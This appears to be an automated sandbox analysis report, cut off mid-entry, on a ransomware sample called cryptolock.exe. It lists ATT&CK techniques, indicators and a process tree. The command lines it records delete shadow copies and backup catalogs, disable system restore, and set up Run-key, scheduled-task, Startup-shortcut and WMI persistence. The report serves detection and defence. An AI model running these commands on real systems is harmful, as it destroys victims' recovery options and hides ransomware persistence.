e6758bffc6026c6966b99bb8d5a2644f30d137407801639c4ab2b1f3e46487fa

description	ioc	Process
File opened (read-only)	C:\windows\System32\VBoxHook.dll	cryptolock.exe
File opened (read-only)	C:\windows\System32\VBoxHook.dll	cryptolock.exe

Looks for VirtualBox drivers on disk 2 TTPs 2 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	C:\windows\System32\drivers\VBoxMouse.sys	cryptolock.exe
File opened (read-only)	C:\windows\System32\drivers\VBoxMouse.sys	cryptolock.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2576	powershell.exe
4244	powershell.exe
244	powershell.exe
1460	powershell.exe
4728	powershell.exe
5808	powershell.exe
2716	powershell.exe
5128	powershell.exe
4240	powershell.exe
4648	powershell.exe
792	powershell.exe
300	powershell.exe
2856	powershell.exe
5904	powershell.exe
2472	powershell.exe
1444	powershell.exe
5972	powershell.exe
4896	powershell.exe
1784	powershell.exe
4648	powershell.exe
3196	powershell.exe
4540	powershell.exe
1440	powershell.exe
6004	powershell.exe
5976	powershell.exe
5060	powershell.exe
6036	powershell.exe
5948	powershell.exe
2788	powershell.exe
2600	powershell.exe
3420	powershell.exe
4804	powershell.exe
4908	powershell.exe
316	powershell.exe
2304	powershell.exe
1460	powershell.exe
6108	powershell.exe
6024	powershell.exe
2228	powershell.exe
3120	powershell.exe
2784	powershell.exe
4056	powershell.exe
4316	powershell.exe
2204	powershell.exe
6040	powershell.exe
6064	powershell.exe
2968	powershell.exe
3704	powershell.exe
3240	powershell.exe
1612	powershell.exe
3308	powershell.exe
1672	powershell.exe
5228	powershell.exe
5228	powershell.exe
2172	powershell.exe
2620	powershell.exe
3320	powershell.exe
4848	powershell.exe
4424	powershell.exe
1244	powershell.exe
4884	powershell.exe
2500	powershell.exe
2228	powershell.exe
4644	powershell.exe

Deletes backup catalog 3 TTPs 3 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1704	wbadmin.exe
3184	wbadmin.exe
3596	wbadmin.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateHelper.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateHelper.lnk	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateHelper = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cryptolock.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateHelper = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cryptolock.exe\""	reg.exe

Drops desktop.ini file(s) 24 IoCs

description	ioc	Process
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	cryptolock.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	cryptolock.exe

Discovers running processes 1 TTPs 10 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5660	tasklist.exe
1256	tasklist.exe
1112	tasklist.exe
5536	tasklist.exe
5736	tasklist.exe
3004	tasklist.exe
3188	tasklist.exe
5980	tasklist.exe
3300	tasklist.exe
4944	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3240	cmd.exe
1700	cmd.exe
2924	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2064	msedge.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3348	vssadmin.exe
5820	vssadmin.exe
5828	vssadmin.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	cmd.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
4972	reg.exe
4540	reg.exe
4344	reg.exe
5352	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4508	schtasks.exe
5792	schtasks.exe
6040	schtasks.exe
4724	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2968	powershell.exe
2968	powershell.exe
4400	cryptolock.exe
4400	cryptolock.exe
4400	cryptolock.exe
4400	cryptolock.exe
4400	cryptolock.exe
2304	powershell.exe
2304	powershell.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
4648	powershell.exe
4648	powershell.exe
4648	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2392	cryptolock.exe
2392	cryptolock.exe
2392	cryptolock.exe
2392	cryptolock.exe
2392	cryptolock.exe
6064	powershell.exe
6064	powershell.exe
6064	powershell.exe
3844	powershell.exe
3844	powershell.exe
3844	powershell.exe
792	powershell.exe
792	powershell.exe
792	powershell.exe
3592	powershell.exe
3592	powershell.exe
3592	powershell.exe
3356	powershell.exe
3356	powershell.exe
3356	powershell.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe
6036	powershell.exe
6036	powershell.exe
6036	powershell.exe
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
5904	powershell.exe
5904	powershell.exe
5904	powershell.exe
4964	powershell.exe
4964	powershell.exe
4964	powershell.exe
5204	powershell.exe
5204	powershell.exe
5204	powershell.exe
1204	powershell.exe
1204	powershell.exe
1204	powershell.exe
5236	powershell.exe
5236	powershell.exe
5236	powershell.exe
5616	powershell.exe
5616	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5736	tasklist.exe
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	4944	tasklist.exe
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	6064	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	5660	tasklist.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	6036	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	5904	powershell.exe
Token: SeDebugPrivilege	4964	powershell.exe
Token: SeDebugPrivilege	5204	powershell.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	1256	tasklist.exe
Token: SeDebugPrivilege	5236	powershell.exe
Token: SeDebugPrivilege	5616	powershell.exe
Token: SeDebugPrivilege	5976	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	3004	tasklist.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	6036	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeDebugPrivilege	3704	powershell.exe
Token: SeDebugPrivilege	5804	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	4288	powershell.exe
Token: SeDebugPrivilege	5668	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	3308	powershell.exe
Token: SeDebugPrivilege	5820	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	3188	tasklist.exe
Token: SeDebugPrivilege	5724	powershell.exe
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	5628	powershell.exe
Token: SeDebugPrivilege	3820	powershell.exe
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeBackupPrivilege	4696	vssvc.exe
Token: SeRestorePrivilege	4696	vssvc.exe
Token: SeAuditPrivilege	4696	vssvc.exe
Token: SeDebugPrivilege	5128	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeBackupPrivilege	2060	wbengine.exe
Token: SeRestorePrivilege	2060	wbengine.exe
Token: SeSecurityPrivilege	2060	wbengine.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	5340	powershell.exe
Token: SeDebugPrivilege	5948	powershell.exe
Token: SeDebugPrivilege	6044	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4400 wrote to memory of 5736	4400	cryptolock.exe	90
PID 4400 wrote to memory of 2968	4400	cryptolock.exe	92
PID 4400 wrote to memory of 3924	4400	cryptolock.exe	93
PID 3924 wrote to memory of 480	3924	net.exe	94
PID 4400 wrote to memory of 4972	4400	cryptolock.exe	95
PID 4400 wrote to memory of 4508	4400	cryptolock.exe	96
PID 4400 wrote to memory of 2304	4400	cryptolock.exe	97
PID 4400 wrote to memory of 2608	4400	cryptolock.exe	98
PID 2392 wrote to memory of 4944	2392	cryptolock.exe	101
PID 4400 wrote to memory of 4648	4400	cryptolock.exe	102
PID 2392 wrote to memory of 2356	2392	cryptolock.exe	106
PID 2392 wrote to memory of 2984	2392	cryptolock.exe	107
PID 2984 wrote to memory of 5080	2984	net.exe	108
PID 2392 wrote to memory of 4540	2392	cryptolock.exe	143
PID 2392 wrote to memory of 5792	2392	cryptolock.exe	110
PID 2392 wrote to memory of 6064	2392	cryptolock.exe	111
PID 2392 wrote to memory of 3844	2392	cryptolock.exe	112
PID 2392 wrote to memory of 792	2392	cryptolock.exe	113
PID 2392 wrote to memory of 3592	2392	cryptolock.exe	114
PID 2392 wrote to memory of 5660	2392	cryptolock.exe	115
PID 2392 wrote to memory of 3356	2392	cryptolock.exe	117
PID 2392 wrote to memory of 4728	2392	cryptolock.exe	118
PID 2392 wrote to memory of 6036	2392	cryptolock.exe	136
PID 2392 wrote to memory of 2588	2392	cryptolock.exe	120
PID 2392 wrote to memory of 5904	2392	cryptolock.exe	121
PID 2392 wrote to memory of 4964	2392	cryptolock.exe	123
PID 4400 wrote to memory of 5204	4400	cryptolock.exe	124
PID 2392 wrote to memory of 1204	2392	cryptolock.exe	125
PID 4400 wrote to memory of 1256	4400	cryptolock.exe	231
PID 2392 wrote to memory of 5236	2392	cryptolock.exe	127
PID 2392 wrote to memory of 5616	2392	cryptolock.exe	128
PID 2392 wrote to memory of 5976	2392	cryptolock.exe	214
PID 2392 wrote to memory of 2472	2392	cryptolock.exe	130
PID 2392 wrote to memory of 5060	2392	cryptolock.exe	131
PID 2392 wrote to memory of 3004	2392	cryptolock.exe	132
PID 4400 wrote to memory of 4292	4400	cryptolock.exe	133
PID 4400 wrote to memory of 4112	4400	cryptolock.exe	134
PID 4400 wrote to memory of 4156	4400	cryptolock.exe	135
PID 4400 wrote to memory of 6036	4400	cryptolock.exe	136
PID 4400 wrote to memory of 4640	4400	cryptolock.exe	137
PID 4400 wrote to memory of 1784	4400	cryptolock.exe	138
PID 4400 wrote to memory of 3704	4400	cryptolock.exe	139
PID 2392 wrote to memory of 5804	2392	cryptolock.exe	140
PID 4400 wrote to memory of 3696	4400	cryptolock.exe	141
PID 2392 wrote to memory of 4540	2392	cryptolock.exe	143
PID 4400 wrote to memory of 4124	4400	cryptolock.exe	144
PID 4400 wrote to memory of 4288	4400	cryptolock.exe	145
PID 2392 wrote to memory of 5668	2392	cryptolock.exe	146
PID 4400 wrote to memory of 1456	4400	cryptolock.exe	147
PID 2392 wrote to memory of 3308	2392	cryptolock.exe	148
PID 4400 wrote to memory of 5820	4400	cryptolock.exe	184
PID 2392 wrote to memory of 2228	2392	cryptolock.exe	185
PID 4400 wrote to memory of 3188	4400	cryptolock.exe	151
PID 2392 wrote to memory of 5724	2392	cryptolock.exe	152
PID 2392 wrote to memory of 1460	2392	cryptolock.exe	153
PID 2392 wrote to memory of 1424	2392	cryptolock.exe	154
PID 2392 wrote to memory of 5628	2392	cryptolock.exe	155
PID 2392 wrote to memory of 3820	2392	cryptolock.exe	156
PID 2392 wrote to memory of 916	2392	cryptolock.exe	157
PID 2392 wrote to memory of 2716	2392	cryptolock.exe	158
PID 2716 wrote to memory of 3348	2716	powershell.exe	221
PID 2392 wrote to memory of 5128	2392	cryptolock.exe	162
PID 2392 wrote to memory of 2576	2392	cryptolock.exe	164
PID 2576 wrote to memory of 1704	2576	powershell.exe	165

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cryptolock.exe
"C:\Users\Admin\AppData\Local\Temp\cryptolock.exe"
1⤵
- Enumerates VirtualBox DLL files
- Looks for VirtualBox drivers on disk
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4400
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:5736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-WmiObject Win32_SystemDriver | Select-Object -ExpandProperty Name"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:480
- C:\Windows\system32\reg.exe
  "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdateHelper /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\cryptolock.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4972
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /tn Microsoft\Windows\UpdateHelper /xml C:\Users\Admin\AppData\Local\Temp\\task_4400.xml /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command [Environment]::GetFolderPath('Startup')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $lnk = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateHelper.lnk'); $lnk.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\cryptolock.exe'; $lnk.WindowStyle = 7; $lnk.Save()"
  2⤵
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "$filterArgs = @{ Name = 'WindowsUpdateFilter'; EventNameSpace = 'root/CIMV2'; QueryLanguage = 'WQL'; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" }; $filter = Set-WmiInstance -Class __EventFilter -Namespace 'root/subscription' -Arguments $filterArgs; $consumerArgs = @{ Name = 'WindowsUpdateConsumer'; CommandLineTemplate = 'C:\Users\Admin\AppData\Local\Temp\cryptolock.exe' }; $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace 'root/subscription' -Arguments $consumerArgs; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace 'root/subscription' -Arguments @{Filter = $filter; Consumer = $consumer}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5204
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'pCloud'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Box'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Nextcloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'ownCloud'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Seafile'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Sync'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Resilio'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5820
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:3188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'pCloud'"
  2⤵
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Box'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Nextcloud'"
  2⤵
  PID:5712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'ownCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Seafile'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Sync'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Resilio'"
  2⤵
  PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "vssadmin delete shadows /all /quiet 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4244
- - C:\Windows\system32\vssadmin.exe
    "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Disable-ComputerRestore -Drive 'C:\' 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "wbadmin delete catalog -quiet 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:244
- - C:\Windows\system32\wbadmin.exe
    "C:\Windows\system32\wbadmin.exe" delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-PSDrive -PSProvider FileSystem | Select-Object -ExpandProperty Root"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4648
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  PID:1112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  PID:2424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'pCloud'"
  2⤵
  PID:3120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Box'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
